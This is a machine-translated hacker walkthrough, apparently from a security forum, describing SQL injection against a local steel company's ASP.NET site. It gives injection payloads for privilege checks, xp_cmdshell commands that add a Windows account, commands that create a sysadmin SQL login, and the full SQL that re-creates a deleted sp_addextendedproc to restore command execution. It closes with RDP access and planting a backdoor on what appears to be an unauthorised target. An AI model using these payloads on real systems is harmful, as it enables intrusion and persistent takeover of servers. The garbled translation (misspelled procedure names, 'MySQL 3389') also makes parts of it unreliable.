Restore sp_addextendedproc when MSSQL Injection

Author: Little mud from: Legion 8

Today, I did nothing. I checked the website of a local steel company. Hey hey. vulnerability Detection. of course this is unexpected. recently, we all like scripts. then I will look at their website programs.
Show. aspx? Id = 1
Hey, asp.net is still talking about unclosed semicolons.
Show. aspx? Id = 1 and (select @ version)> 0 ;--
Sure enough, 2003 of systems
Show. aspx? Id = 1 and sa = (select System_user )--
Hey, you have the permission to return the correct result. You can directly use xp_cmeshell to add an account.
Because we already know that this server has a 3389
So let's continue:
Show. aspx? Id = 1; exec master. dbo. xp_mongoshell "net user haco lovehaco/add "--
In my opinion, the returned results are incorrect. It seems that the Administrator is not very cute.
So let's restore this stored procedure? OK continue
Show. aspx? Id = 1; exec master. dbo. sp_addextendedpro xp_mongoshell, @ dllname = xplog70.dll --
After you press enter ...... dizzy. I didn't find sp_addextendedproc. I thought it was because I deleted the XP log70.dll. But I didn't think so. I remember that I had encountered such a thing before, but I couldn't solve it this time! Ask people everywhere
Thank you for reminding me of tob88 In the BST forum.
The process SP_ADDextendedproc has been deleted. Let's restore it!
I added a sysadmin account for convenience.
Show. aspx? Id = 1; exec master. dbo. sp_addlogin haco, lovehaco ;--
Show. aspx? Id = 1; exec master. dbo. sp_addsrvrolemember haco, sysadmin; -- HOHO ~ I have installed MSSQL in the Enterprise Manager and connected the SQL of this server.
The restore process of the queryer is as follows:
Create procedure sp_addextendedproc --- 1996/08/30 20:13
@ Functname nvarchar (517),/* (owner.) name of function to call */
@ Dllname varchar (255)/* name of DLL containing function */
As
Set implicit_transactions off
If @ trancount> 0
Begin
Raiserror (15002,-1,-1, sp_addextendedproc)
Return (1)
End
Dbcc addextendedproc (@ functname, @ dllname)
Return (0) -- sp_addextendedproc
GO
Haha try sp_addextendedproc xp_cmdshell, @ dllname = xplog70.dll
Wow! The command is successfully completed! Add an account to log on to MySQL 3389 and leave my favorite absolute Backdoor
How to hide a virtual directory in IIS ......

PS: Actually, processes like sp_addextendedproc can be deleted and cannot be added.
Of course, you can also recover this recovery statement. You can try it yourself if you are interested in the MSSQL database. or I will cry 5555!